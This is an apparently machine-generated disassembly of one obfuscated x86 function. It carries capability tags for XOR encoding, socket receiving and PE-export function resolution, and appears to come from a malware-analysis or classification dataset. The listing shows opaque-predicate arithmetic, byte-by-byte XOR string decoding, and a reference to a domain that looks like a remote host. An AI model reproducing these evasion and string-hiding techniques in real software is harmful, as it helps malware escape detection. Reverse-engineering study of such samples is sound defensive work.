Function at 0x100532d0
Capabilities:
Encode data using xor
Receive data
Receive data on socket
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x140
mov esi, esp
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x12c], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x130], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x134], eax
mov eax, dword [0x100c5328]
xor eax, ebp
mov dword [esi + 0x138], eax
cmp dword [0x100c5ed8], 0
jne 0x10053e68
mov eax, dword [0x100c4b60]
xor edx, edx
div dword [0x100c4b64]
and eax, 0x5f8fb4ae
add eax, 0x842a45b4
xor eax, 0xfed19d0d
imul eax, eax, 0xb7b612e8
and eax, 0xcfcb9ec5
xor eax, 0x6104f3b8
or eax, 0xdd9da1b4
xor eax, 0xa1671a10
or eax, 0x41ba3537
imul eax, eax, 0x74aaf0fe
add eax, 0xf15d0bc5
mov ecx, 0x4a8dee0a
xor edx, edx
div ecx
mov ecx, 0x63c99ab7
xor edx, edx
div ecx
and eax, 0xf9f64c45
mov ecx, 0x1ab149af
xor edx, edx
div ecx
imul eax, eax, 0xcf69a827
xor eax, 0x650ab172
imul eax, eax, 0xca1725b2
imul eax, eax, 0xfd018976
add eax, 0x311497f2
imul eax, eax, 0xf099f394
add eax, 0xed242b6
sub eax, 0x852c34a7
add eax, 0xd1e28653
xor eax, 0x62e6238b
and eax, 0x4c790769
and eax, 0xfad37128
xor eax, 0xefcdee64
mov ecx, 0x84f65ec3
xor edx, edx
div ecx
add eax, 0x92e09f9d
xor eax, 0x4465bd3b
add eax, 0x3401312e
imul eax, eax, 0x10c02381
imul eax, eax, 0xc64984ce
sub eax, 0x17b86282
mov ecx, 0x5ac29e1e
xor edx, edx
div ecx
sub eax, 0x59e5c850
mov ecx, 0x91cc90d5
xor edx, edx
div ecx
mov ecx, 0xd3bf5ef1
xor edx, edx
div ecx
imul eax, eax, 0xd9d0873b
xor eax, 0x80edf2a2
mov ecx, 0x77f9fad8
xor edx, edx
div ecx
add eax, 0x3430ea1d
mov ecx, 0x16c2ca87
xor edx, edx
div ecx
and eax, 0xde9226e5
or eax, 0xca805ae6
xor eax, 0x7bb0e5bc
and eax, 0xe7b8130a
imul eax, eax, 0xa81457a0
or eax, 0xfcd8e933
imul eax, eax, 0x8ef0eca6
xor eax, 0xeef393c0
mov ecx, 0x8e4ba549
xor edx, edx
div ecx
mov ecx, 0xc7d2d14e
xor edx, edx
div ecx
imul eax, eax, 0x1162d0ab
mov ecx, 0xd1740c91
xor edx, edx
div ecx
and eax, 0xca70b25
and eax, 0x6bbe61b9
and eax, 0x6787a940
sub eax, 0xb5bd74b4
imul eax, eax, 0x1a990eee
imul eax, eax, 0xf9ee26a6
or eax, 0xb53126de
add eax, 0x860d89a3
imul eax, eax, 0xfb2c3502
add eax, 0x821d4cba
sub eax, 0x2a181021
imul eax, eax, 0xea0f40ea
or eax, 0x16ad05e8
and eax, 0x689438d4
sub eax, 0x861fd262
xor eax, 0xc61d2c3
cmp eax, 0x4ebcd8a5
jbe 0x1005765d
mov eax, dword [0x100c4b68]
and eax, dword [0x100c4b6c]
sub eax, 0xb39ee441
imul eax, eax, 0x683c8ae0
add eax, 0x40c79019
xor eax, 0x866d8da7
add eax, 0x103ae975
sub eax, 0xbb54ed65
imul eax, eax, 0x1c6d94bd
or eax, 0xfb66f505
add eax, 0xa19d8695
and eax, 0x440aafa7
and eax, 0x1f46053c
add eax, 0x38649500
xor eax, 0x5bee708e
and eax, 0xc7ea1605
xor eax, 0xe0920069
or eax, 0xe8ae710e
or eax, 0x434572fa
and eax, 0x8e724901
add eax, 0x1cf0048b
mov ecx, 0x819a9e9a
xor edx, edx
div ecx
and eax, 0x4dca15f3
imul eax, eax, 0x30aeed2c
imul eax, eax, 0x4c3054cb
sub eax, 0x4cb30346
imul eax, eax, 0xfc29e825
add eax, 0x283f3312
and eax, 0x6e82c049
sub eax, 0x9c1f74c2
sub eax, 0xf934c669
xor eax, 0x4a982372
or eax, 0xbe1a3e71
add eax, 0x4fd3b3e8
add eax, 0xdf1d7009
imul eax, eax, 0xf9e973b5
xor eax, 0x75425d71
or eax, 0x3d516fba
add eax, 0xd967da7b
sub eax, 0xa06b0927
add eax, 0x1029f27f
and eax, 0x9ffc93d9
or eax, 0x788ee4f2
or eax, 0x6c68bfa
add eax, 0x266c81fd
mov ecx, 0x4799d6bd
xor edx, edx
div ecx
sub eax, 0x2c5a6926
mov ecx, 0x1bad7d63
xor edx, edx
div ecx
imul eax, eax, 0x803890e9
sub eax, 0xca420492
mov ecx, 0xc6752084
xor edx, edx
div ecx
xor eax, 0x72a90f54
and eax, 0xe231b024
mov ecx, 0x24e5e3c2
xor edx, edx
div ecx
or eax, 0xfff22116
sub eax, 0xb18073ca
mov ecx, 0xda00a0d7
xor edx, edx
div ecx
add eax, 0x6a96e702
imul eax, eax, 0xdec2fcf5
add eax, 0xfcf06e7e
or eax, 0x15f29e8
add eax, 0xf0d665e
mov ecx, 0x3f822c30
xor edx, edx
div ecx
xor eax, 0x1f601b6b
or eax, 0xbb1c26cd
mov ecx, 0x3ec72189
xor edx, edx
div ecx
sub eax, 0x96bc8b5f
mov ecx, 0x1955e9db
xor edx, edx
div ecx
mov ecx, 0x146195cd
xor edx, edx
div ecx
mov ecx, 0xc66398b4
xor edx, edx
div ecx
imul eax, eax, 0x33a70980
and eax, 0x158f88ec
xor eax, 0x9820cce8
sub eax, 0x414b8097
mov cl, byte [0x100c3103]
xor cl, 0x8f
mov byte [0x100c310c], cl
mov cl, byte [0x100c3104]
xor cl, 0x80
mov byte [0x100c310d], cl
mov cl, byte [0x100c3105]
xor cl, 0x34
mov byte [0x100c310e], cl
mov cl, byte [0x100c3106]
xor cl, 0xe
mov byte [0x100c310f], cl
mov cl, byte [0x100c3107]
xor cl, 0x5b
mov byte [0x100c3110], cl
mov cl, byte [0x100c3108]
xor cl, 0xbc
mov byte [0x100c3111], cl
mov cl, byte [0x100c3109]
xor cl, 0x6c
mov byte [0x100c3112], cl
mov cl, byte [0x100c310a]
xor cl, 0x9c
mov byte [0x100c3113], cl
mov cl, byte [0x100c310b]
xor cl, 0xb9
mov byte [0x100c3114], cl
mov cl, byte [0x100c316f]
xor cl, 0x7a
mov byte [0x100c3179], cl
mov cl, byte [0x100c3170]
xor cl, 0x25
mov byte [0x100c317a], cl
mov cl, byte [0x100c3171]
xor cl, 0xae
mov byte [0x100c317b], cl
mov cl, byte [0x100c3172]
xor cl, 0x22
mov byte [0x100c317c], cl
mov cl, byte [0x100c3173]
xor cl, 0x70
mov byte [0x100c317d], cl
mov cl, byte [0x100c3174]
xor cl, 0x31
mov byte [0x100c317e], cl
mov cl, byte [0x100c3175]
xor cl, 0x91
mov byte [0x100c317f], cl
mov cl, byte [0x100c3176]
xor cl, 0x95
mov byte [0x100c3180], cl
mov cl, byte [0x100c3177]
xor cl, 0x44
mov byte [0x100c3181], cl
mov cl, byte [0x100c3178]
xor cl, 0x9c
mov byte [0x100c3183], cl
mov cl, byte [0x100c31b1]
xor cl, 0x75
mov byte [0x100c31bb], cl
mov cl, byte [str._W3]
xor cl, 0x11
mov byte [0x100c31bc], cl
mov cl, byte [0x100c31b3]
xor cl, 0x53
mov byte [0x100c31bd], cl
mov cl, byte [0x100c31b4]
xor cl, 0x58
mov byte [0x100c31be], cl
mov cl, byte [0x100c31b5]
xor cl, 0x24
mov byte [str.YUck], cl
mov cl, byte [0x100c31b6]
xor cl, 0x5c
mov byte [0x100c31c0], cl
mov cl, byte [0x100c31b7]
xor cl, 0xf2
mov byte [0x100c31c3], cl
mov cl, byte [0x100c31b8]
xor cl, 0xc
mov byte [0x100c31c4], cl
mov cl, byte [0x100c31b9]
xor cl, 0x7b
mov byte [0x100c31c5], cl
mov cl, byte [0x100c31ed]
xor cl, 7
mov byte [0x100c31f2], cl
mov cl, byte [0x100c31ee]
xor cl, 0x19
mov byte [0x100c31f3], cl
mov cl, byte [0x100c31ef]
xor cl, 0x17
mov byte [0x100c31f4], cl
mov cl, byte [0x100c31f0]
xor cl, 0xcc
mov byte [0x100c31f5], cl
mov cl, byte [0x100c31f1]
xor cl, 0xf
mov byte [0x100c31f6], cl
mov cl, byte [0x100c3116]
xor cl, 0x9e
mov byte [0x100c3121], cl
mov cl, byte [0x100c3117]
xor cl, 0xb2
mov byte [0x100c3122], cl
mov cl, byte [0x100c3118]
xor cl, 0xe2
mov byte [0x100c3123], cl
mov cl, byte [0x100c3119]
xor cl, 0x80
mov byte [0x100c3124], cl
mov cl, byte [0x100c311a]
xor cl, 0x89
mov byte [0x100c3125], cl
mov cl, byte [0x100c311b]
xor cl, 0x7d
mov byte [0x100c3126], cl
mov cl, byte [0x100c311c]
xor cl, 0x54
mov byte [0x100c3127], cl
mov cl, byte [0x100c311d]
xor cl, 0x80
mov byte [0x100c3128], cl
mov cl, byte [0x100c311e]
xor cl, 0x12
mov byte [0x100c3129], cl
mov cl, byte [0x100c311f]
xor cl, 0xc3
mov byte [0x100c312a], cl
mov cl, byte [0x100c3120]
xor cl, 0x6b
mov byte [0x100c312b], cl
mov cl, byte [0x100c31f7]
xor cl, 0xc1
mov byte [0x100c31ff], cl
mov cl, byte [0x100c31f8]
xor cl, 0xb9
mov byte [0x100c3200], cl
mov cl, byte [0x100c31f9]
xor cl, 0x25
mov byte [0x100c3201], cl
mov cl, byte [0x100c31fa]
xor cl, 0x59
mov byte [0x100c3202], cl
mov cl, byte [0x100c31fb]
xor cl, 0xca
mov byte [str._Rc5], cl
mov cl, byte [0x100c31fc]
xor cl, 0x65
mov byte [0x100c3204], cl
mov cl, byte [0x100c31fd]
xor cl, 0x22
mov byte [0x100c3205], cl
mov cl, byte [0x100c31fe]
xor cl, 0x88
mov byte [0x100c3206], cl
mov cl, byte [0x100c3207]
xor cl, 0xd0
mov byte [0x100c320d], cl
mov cl, byte [0x100c3208]
xor cl, 0x4d
mov byte [0x100c320e], cl
mov cl, byte [0x100c3209]
xor cl, 0x13
mov byte [0x100c320f], cl
mov cl, byte [0x100c320a]
xor cl, 0xed
mov byte [0x100c3210], cl
mov cl, byte [0x100c320b]
xor cl, 0xbb
mov byte [0x100c3211], cl
mov cl, byte [0x100c3140]
xor cl, 0x46
mov byte [0x100c314c], cl
mov cl, byte [0x100c3141]
xor cl, 0x45
mov byte [0x100c314d], cl
mov cl, byte [0x100c3142]
xor cl, 0xc
mov byte [0x100c314e], cl
mov cl, byte [0x100c3143]
xor cl, 0x4c
mov byte [0x100c314f], cl
mov cl, byte [0x100c3144]
xor cl, 0x53
mov byte [0x100c3150], cl
mov cl, byte [0x100c3145]
xor cl, 0xad
mov byte [0x100c3151], cl
mov cl, byte [0x100c3146]
xor cl, 0x3a
mov byte [0x100c3153], cl
mov cl, byte [0x100c3147]
xor cl, 0x11
mov byte [0x100c3154], cl
mov cl, byte [0x100c3148]
xor cl, 0x66
mov byte [0x100c3155], cl
mov cl, byte [0x100c3149]
xor cl, 0xb7
mov byte [0x100c3156], cl
mov cl, byte [0x100c314a]
xor cl, 0x45
mov byte [0x100c3157], cl
mov cl, byte [str.k7]
xor cl, 0x5c
mov byte [0x100c3158], cl
mov cl, byte [0x100c3159]
xor cl, 0x2a
mov byte [str.1HoF], cl
mov cl, byte [0x100c315a]
xor cl, 0x98
mov byte [0x100c3165], cl
mov cl, byte [0x100c315b]
xor cl, 0x9c
mov byte [0x100c3166], cl
mov cl, byte [str.7jef]
xor cl, 0x68
mov byte [0x100c3167], cl
mov cl, byte [0x100c315d]
xor cl, 0x59
mov byte [0x100c3168], cl
mov cl, byte [0x100c315e]
xor cl, 0x29
mov byte [0x100c3169], cl
mov cl, byte [0x100c315f]
xor cl, 0x48
mov byte [0x100c316a], cl
mov cl, byte [0x100c3160]
xor cl, 0x82
mov byte [0x100c316b], cl
mov cl, byte [0x100c3161]
xor cl, 0x6c
mov byte [0x100c316c], cl
mov cl, byte [0x100c3162]
xor cl, 0x37
mov byte [0x100c316d], cl
mov cl, byte [0x100c3163]
xor cl, 0x96
mov byte [0x100c316e], cl
mov cl, byte [0x100c31c6]
xor cl, 0x3d
mov byte [0x100c31cb], cl
mov cl, byte [0x100c31c7]
xor cl, 0xe2
mov byte [0x100c31cc], cl
mov cl, byte [0x100c31c8]
xor cl, 0x80
mov byte [0x100c31cd], cl
mov cl, byte [0x100c31c9]
xor cl, 0x91
mov byte [0x100c31ce], cl
mov cl, byte [0x100c31dd]
xor cl, 0x8a
mov byte [0x100c31e5], cl
mov cl, byte [0x100c31de]
xor cl, 0xb4
mov byte [0x100c31e6], cl
mov cl, byte [0x100c31df]
xor cl, 0x8b
mov byte [0x100c31e7], cl
mov cl, byte [0x100c31e0]
xor cl, 0x32
mov byte [0x100c31e8], cl
mov cl, byte [0x100c31e1]
xor cl, 0x63
mov byte [0x100c31e9], cl
mov cl, byte [0x100c31e2]
xor cl, 0x6f
mov byte [0x100c31ea], cl
mov cl, byte [0x100c31e3]
xor cl, 0x26
mov byte [0x100c31eb], cl
mov cl, byte [0x100c31e4]
xor cl, 0xde
mov byte [0x100c31ec], cl
mov cl, byte [0x100c3212]
xor cl, 0x57
mov byte [0x100c3216], cl
mov cl, byte [0x100c3213]
xor cl, 0x34
mov byte [0x100c3217], cl
mov cl, byte [0x100c3214]
xor cl, 0xad
mov byte [0x100c3218], cl
mov cl, byte [0x100c3215]
xor cl, 9
mov byte [0x100c3219], cl
mov cl, byte [0x100c31cf]
xor cl, 0x2c
mov byte [0x100c31d6], cl
mov cl, byte [0x100c31d0]
xor cl, 0xef
mov byte [0x100c31d7], cl
mov cl, byte [0x100c31d1]
xor cl, 0x4f
mov byte [0x100c31d8], cl
mov cl, byte [0x100c31d2]
xor cl, 0xe9
mov byte [0x100c31d9], cl
mov cl, byte [0x100c31d3]
xor cl, 0x68
mov byte [0x100c31da], cl
mov cl, byte [0x100c31d4]
xor cl, 0xdd
mov byte [0x100c31db], cl
mov cl, byte [0x100c31d5]
xor cl, 0x5e
mov byte [0x100c31dc], cl
mov cl, byte [0x100c321a]
xor cl, 0xaf
mov byte [0x100c3223], cl
mov cl, byte [0x100c321b]
xor cl, 0x3d
mov byte [0x100c3224], cl
mov cl, byte [0x100c321c]
xor cl, 0x49
mov byte [0x100c3225], cl
mov cl, byte [str.T5_n]
xor cl, 0x74
mov byte [0x100c3226], cl
mov cl, byte [0x100c321e]
xor cl, 0x41
mov byte [0x100c3228], cl
mov cl, byte [0x100c321f]
xor cl, 0x7e
mov byte [0x100c3229], cl
mov cl, byte [0x100c3220]
xor cl, 0x9d
mov byte [0x100c322a], cl
mov cl, byte [0x100c3221]
xor cl, 0xb1
mov byte [0x100c322c], cl
mov cl, byte [0x100c3222]
xor cl, 0x9c
mov byte [0x100c322e], cl
mov cl, byte [0x100c3184]
xor cl, 0x49
mov byte [0x100c31a0], cl
mov cl, byte [0x100c3185]
xor cl, 0x43
mov byte [0x100c31a1], cl
mov cl, byte [0x100c3186]
xor cl, 0xb7
mov byte [0x100c31a2], cl
mov cl, byte [0x100c3187]
xor cl, 0x3c
mov byte [0x100c31a3], cl
mov cl, byte [0x100c3188]
xor cl, 0x9d
mov byte [0x100c31a4], cl
mov cl, byte [0x100c3189]
xor cl, 0xc7
mov byte [0x100c31a5], cl
mov cl, byte [0x100c318a]
xor cl, 0xa3
mov byte [0x100c31a6], cl
mov cl, byte [0x100c318b]
xor cl, 0x4d
mov byte [0x100c31a8], cl
mov cl, byte [0x100c318c]
xor cl, 0xa
mov byte [0x100c31a9], cl
mov cl, byte [0x100c318d]
xor cl, 0x89
mov byte [0x100c31ac], cl
mov cl, byte [0x100c318e]
xor cl, 0x92
mov byte [0x100c31ad], cl
mov cl, byte [0x100c318f]
xor cl, 0xb0
mov byte [0x100c31ae], cl
mov cl, byte [0x100c3190]
xor cl, 0xa2
mov byte [0x100c31b0], cl
mov cl, byte [str.Y_ayO]
xor cl, 0x30
mov byte [0x100c3136], cl
mov cl, byte [0x100c312e]
xor cl, 0x69
mov byte [0x100c3137], cl
mov cl, byte [0x100c312f]
xor cl, 0x1c
mov byte [0x100c3138], cl
mov cl, byte [0x100c3130]
xor cl, 0x10
mov byte [0x100c313a], cl
mov cl, byte [0x100c3131]
xor cl, 0x7c
mov byte [0x100c313b], cl
mov cl, byte [0x100c3132]
xor cl, 0xbd
mov byte [str.R57f_nm_], cl
mov cl, byte [0x100c3133]
xor cl, 0xdd
mov byte [0x100c313d], cl
mov cl, byte [0x100c3134]
xor cl, 0x94
mov byte [0x100c313e], cl
mov cl, byte [0x100c3135]
xor cl, 0x8d
mov byte [0x100c313f], cl
cmp eax, 0x9fa8817c
jae 0x100534d6
jmp 0x10053e68
mov dword [0x100c5ed8], 1
push eax
mov eax, esp
mov dword [esi + 0x30], eax
push eax
mov ecx, esp
mov eax, ecx
mov dword [esi + 0x34], eax
push eax
mov eax, esp
mov dword [esi + 0x100], eax
mov dword [esi + 0x38], eax
push eax
mov ebx, esp
mov eax, ebx
mov dword [esi + 0x3c], eax
sub esp, 0x10
mov edi, esp
mov eax, edi
mov dword [esi + 0x10c], eax
sub esp, 0xc
mov edx, esp
mov eax, edx
mov dword [esi + 0x118], eax
sub esp, 0x34
mov eax, esp
mov dword [esi + 0x104], eax
mov dword [esi + 0x40], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x108], eax
mov dword [esi + 0x44], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x110], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x11c], eax
push eax
mov eax, esp
mov dword [esi + 0x120], eax
push eax
mov eax, esp
mov dword [esi + 0x124], eax
push eax
mov eax, esp
mov dword [esi + 0x128], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x54], eax
push eax
mov eax, esp
mov dword [esi + 0x58], eax
push eax
mov eax, esp
mov dword [esi + 0x5c], eax
push eax
mov eax, esp
mov dword [esi + 0x60], eax
push eax
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
push eax
mov eax, esp
mov dword [esi + 0x70], eax
sub esp, 0x190
mov eax, esp
mov dword [esi + 0x74], eax
push eax
mov eax, esp
mov dword [esi + 0x78], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x7c], eax
sub esp, 0x20
mov eax, esp
mov dword [esi + 0x80], eax
push eax
mov eax, esp
mov dword [esi + 0x84], eax
push eax
mov eax, esp
mov dword [esi + 0x88], eax
push eax
mov eax, esp
mov dword [esi + 0x8c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x90], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x94], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x98], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x9c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa0], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa4], eax
push eax
mov eax, esp
mov dword [esi + 0xa8], eax
push eax
mov eax, esp
mov dword [esi + 0xac], eax
push eax
mov eax, esp
mov dword [esi + 0xb0], eax
push eax
mov eax, esp
mov dword [esi + 0xb4], eax
push eax
mov eax, esp
mov dword [esi + 0xb8], eax
push eax
mov eax, esp
mov dword [esi + 0xbc], eax
push eax
mov eax, esp
mov dword [esi + 0xc0], eax
push eax
mov eax, esp
mov dword [esi + 0xc4], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xc8], eax
push eax
mov eax, esp
mov dword [esi + 0xcc], eax
push eax
mov eax, esp
mov dword [esi + 0xd0], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xd4], eax
push eax
mov eax, esp
mov dword [esi + 0xd8], eax
push eax
sub esp, 0xffc
mov eax, esp
mov dword [esi + 0xdc], eax
push eax
mov eax, esp
mov dword [esi + 0xe0], eax
push eax
mov eax, esp
mov dword [esi + 0xe4], eax
push eax
mov eax, esp
mov dword [esi + 0xe8], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xec], eax
push eax
mov eax, esp
mov dword [esi + 0xf0], eax
push eax
mov eax, esp
mov dword [esi + 0xf4], eax
push eax
mov eax, esp
mov dword [esi + 0xf8], eax
push eax
mov eax, esp
mov dword [esi + 0xfc], eax
mov eax, dword [esi + 0x12c]
mov dword [ecx], eax
mov eax, dword [esi + 0x100]
mov ecx, dword [esi + 0x130]
mov dword [eax], ecx
mov ecx, dword [esi + 0x104]
mov eax, dword [esi + 0x134]
mov dword [ebx], eax
mov eax, dword [esi + 0x108]
movsd xmm0, qword [0x100c3151]
movsd qword [edi + 5], xmm0
movsd xmm0, qword [0x100c314c]
movsd qword [edi], xmm0
mov edi, dword [0x100c316b]
mov dword [edx + 7], edi
movsd xmm0, qword [str.1HoF]
movsd qword [edx], xmm0
movups xmm0, xmmword [0x100b80e8]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x100b80d8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [str.Xk6x41683.org]
movups xmmword [ecx], xmm0
mov word [ecx + 0x30], 0
mov cl, byte [0x100c31b0]
mov byte [eax + 0x10], cl
movaps xmm0, xmmword [0x100c31a0]
movups xmmword [eax], xmm0
call fcn.1004a570
mov ecx, dword [esi + 0x10c]
mov edi, eax
mov eax, dword [esi + 0x110]
mov dword [esi + 0x114], edi
mov edi, edx
mov edx, dword [esi + 0x114]
mov dword [eax + 4], edi
mov dword [eax], edx
mov edx, dword [eax]
mov edi, dword [eax + 4]
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1003fb60
mov ecx, dword [esi + 0x118]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x11c]
mov dword [eax], edx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x120]
mov ecx, dword [esi + 0x124]
mov edi, eax
mov eax, dword [esi + 0x128]
mov dword [edx], edi
mov dword [ecx], 0
mov dword [eax], ecx
mov eax, dword [eax]
cmp dword [eax], 0
jne 0x10054cc4
mov eax, dword [0x100c4b70]
and eax, dword [0x100c4b74]
xor eax, 0x7ee4edfe
add eax, 0xc6363b33
and eax, 0x132f1b8b
xor eax, 0x36f865bb
or eax, 0xfbc97c3e
sub eax, 0xddfc5be
and eax, 0x213bacb1
add eax, 0xeb0fc70a
mov ecx, 0x42b54509
xor edx, edx
div ecx
add eax, 0x4254223
mov ecx, 0x7112e882
xor edx, edx
div ecx
imul eax, eax, 0x90589af9
xor eax, 0xeac83dd5
xor eax, 0x30c8dd66
sub eax, 0xc220b186
and eax, 0xf29ff74
xor eax, 0xb5e56eea
mov ecx, 0x8cd7c0d
xor edx, edx
div ecx
or eax, 0xbcff740
add eax, 0x4ffe3e73
xor eax, 0xed8de36f
and eax, 0xc81b0c49
xor eax, 0xed8aabb2
mov ecx, 0x28944265
xor edx, edx
div ecx
imul eax, eax, 0xf3f7e634
sub eax, 0xa840ca91
imul eax, eax, 0xfab78f59
add eax, 0xabefde7a
add eax, 0x544bf2e4
add eax, 0x45260fc0
or eax, 0x307c5c64
sub eax, 0xed054ac
or eax, 0x4f6f25b5
sub eax, 0x7417b5a9
imul eax, eax, 0x7e2a66de
and eax, 0xf32b2a7f
xor eax, 0xef1d12b7
imul eax, eax, 0x60136113
add eax, 0xc21c770b
or eax, 0xb56182b3
sub eax, 0x98d0ba18
or eax, 0xc7957302
sub eax, 0x7b7b5dc
xor eax, 0xac8acb57
or eax, 0xd92423ac
add eax, 0xec3078d1
sub eax, 0x7c4d3ea3
and eax, 0x67688351
and eax, 0x92cbf431
mov ecx, 0x34887eaa
xor edx, edx
div ecx
sub eax, 0x851e3331
sub eax, 0x55e1e409
xor eax, 0xcb96a0e1
xor eax, 0x9d3038e0
imul eax, eax, 0x2d585465
add eax, 0xe92f264f
imul eax, eax, 0xfe63cd43
add eax, 0xdf7dd1e2
mov ecx, 0x4f5cae85
xor edx, edx
div ecx
sub eax, 0x430e1e1e
xor eax, 0xcd138b0d
xor eax, 0xa91e62b2
sub eax, 0x7fb84c71
sub eax, 0x53e55665
add eax, 0xb20aaa
xor eax, 0xdbfde895
imul eax, eax, 0xd38c549c
imul eax, eax, 0xd37d61d9
sub eax, 0xd33d7310
imul eax, eax, 0xaa95d66c
add eax, 0x348a86a
imul eax, eax, 0x4628950f
cmp eax, 0x732637c5
je 0x10057caa
mov edx, dword [esi + 0x54]
mov edi, dword [esi + 0x50]
mov ebx, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
mov eax, 0xfef7e7bf
mov dword [esi + 0x28], eax
mov eax, dword [0x100c3180]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x100c3179]
movsd qword [ecx], xmm0
mov eax, dword [0x100c3129]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x120]
movsd xmm0, qword [0x100c3121]
movsd qword [ebx], xmm0
mov bx, word [0x100c313e]
mov word [edi + 8], bx
movsd xmm0, qword [0x100c3136]
movsd qword [edi], xmm0
mov di, word [0x100c3114]
mov word [edx + 8], di
movsd xmm0, qword [0x100c310c]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov edx, dword [esi + 0x58]
mov ecx, dword [esi + 0x4c]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x120]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov edx, dword [esi + 0x5c]
mov ecx, dword [esi + 0x50]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x120]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov edx, dword [esi + 0x60]
mov ecx, dword [esi + 0x54]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x120]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1003fb60
mov ecx, dword [esi + 0x64]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x68]
mov dword [ecx], edx
mov ecx, dword [0x100c31ff]
mov dword [eax], ecx
mov ecx, dword [str._Rc5]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.1004a590
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x28]
cmp ecx, 0
setne cl
mov byte [esi + 0x2f], cl
cmp eax, 0xab39dadf
je 0x10057caa
mov al, byte [esi + 0x2f]
test al, 1
jne 0x100544ae
jmp 0x10054859
mov eax, dword [0x100c4b80]
xor eax, dword [0x100c4b84]
mov ecx, 0xe6ceba00
xor edx, edx
div ecx
sub eax, 0x2c54594a
xor eax, 0x73054ae8
sub eax, 0xc3d1ea26
imul eax, eax, 0xe155bb38
xor eax, 0x531e01d6
or eax, 0x7b85760a
sub eax, 0xabc28b48
mov ecx, 0x8e8cc4cc
xor edx, edx
div ecx
and eax, 0xf065e6ff
mov ecx, 0x4233c585
xor edx, edx
div ecx
imul eax, eax, 0x11415635
and eax, 0xa9b955ce
and eax, 0x771404f5
imul eax, eax, 0x495e91
xor eax, 0xe2e50c28
or eax, 0xc9300acd
sub eax, 0xaf98a4e7
and eax, 0x27fd02d8
add eax, 0x305ee17e
mov ecx, 0x1857f4e7
xor edx, edx
div ecx
xor eax, 0x7b24a7b3
or eax, 0x73e7d89c
and eax, 0xe83669d3
imul eax, eax, 0x2bd3af70
and eax, 0xc82ec718
and eax, 0xc4f556cb
add eax, 0xbcc587c9
or eax, 0x5d466999
or eax, 0xcdc084dd
sub eax, 0x6522d90b
and eax, 0x7413bcd7
and eax, 0x43bb3e12
or eax, 0x7cb46016
imul eax, eax, 0x5f68a135
imul eax, eax, 0xfc996951
xor eax, 0x78445f9
or eax, 0x182bd716
mov ecx, 0x78646bbc
xor edx, edx
div ecx
and eax, 0x7d204715
mov ecx, 0xc152fe2e
xor edx, edx
div ecx
imul eax, eax, 0xcef5dde9
mov ecx, 0xd80d8e24
xor edx, edx
div ecx
or eax, 0x1ae70455
sub eax, 0x2d4b1bfd
mov ecx, 0x359ad837
xor edx, edx
div ecx
sub eax, 0x2c713b46
imul eax, eax, 0x8c94d1fd
xor eax, 0x6a8e15b8
xor eax, 0xad1e53de
and eax, 0xd2dc9ce4
imul eax, eax, 0x56c3adf3
add eax, 0xd1400dd6
and eax, 0x6f04954c
imul eax, eax, 0x430d750b
imul eax, eax, 0x2b13abea
sub eax, 0xd476a042
imul eax, eax, 0xa3350ba4
mov ecx, 0xd3b12d5b
xor edx, edx
div ecx
add eax, 0xe5c9bbd
or eax, 0xfd4ca5e7
xor eax, 0xa524c480
xor eax, 0x98d6551c
and eax, 0xaa7626b4
add eax, 0x3a1551f5
imul eax, eax, 0xfa4ae3cb
imul eax, eax, 0xe2074f30
xor eax, 0xceb87da3
add eax, 0xfaad7798
imul eax, eax, 0x4c8711d3
or eax, 0xf028ccb0
and eax, 0xda0fe426
cmp eax, 0x694ffa6c
je 0x10057dda
